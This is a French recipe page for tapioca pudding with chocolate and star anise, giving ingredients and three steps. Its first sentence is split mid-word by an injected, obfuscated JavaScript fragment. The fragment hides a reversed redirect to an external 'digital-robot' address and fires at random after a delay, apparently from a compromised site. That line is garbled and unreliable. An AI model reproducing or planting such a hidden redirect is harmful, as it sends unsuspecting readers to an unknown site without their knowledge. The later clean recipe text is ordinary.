Tapioca choco-anis

2017-12-30

Versez le lait concentré, l’eau, le sucre, les étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toiles badianes, dans une casserole.

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Ingrédients

  • Pour 4 personnes
  • 1 boîte de lait concentré non sucré
  • 200 ml d'eau
  • 60 g de sucre en poudre
  • 7 cuillères à soupe de tapioca
  • 4 étoiles de badiane
  • 50 g de chocolat au lait

Préparation de la recette

Etape 1

Versez le lait concentré, l'eau, le sucre, les étoiles badianes, dans une casserole. Faites chauffer sur feu moyen tout en remuant.

Etape 2

Dès la première ébullition versez en pluie le tapioca et faites cuire pendant 8 minutes. Incorporez le chocolat au lait coupé en morceaux. Faites chauffer tout en remuant et obtenir une crème lisse.

Etape 3

Versez le tapioca dans 4 ramequins. Laissez refroidir. Réservez au réfrigérateur pendant 1 heure avant de déguster.

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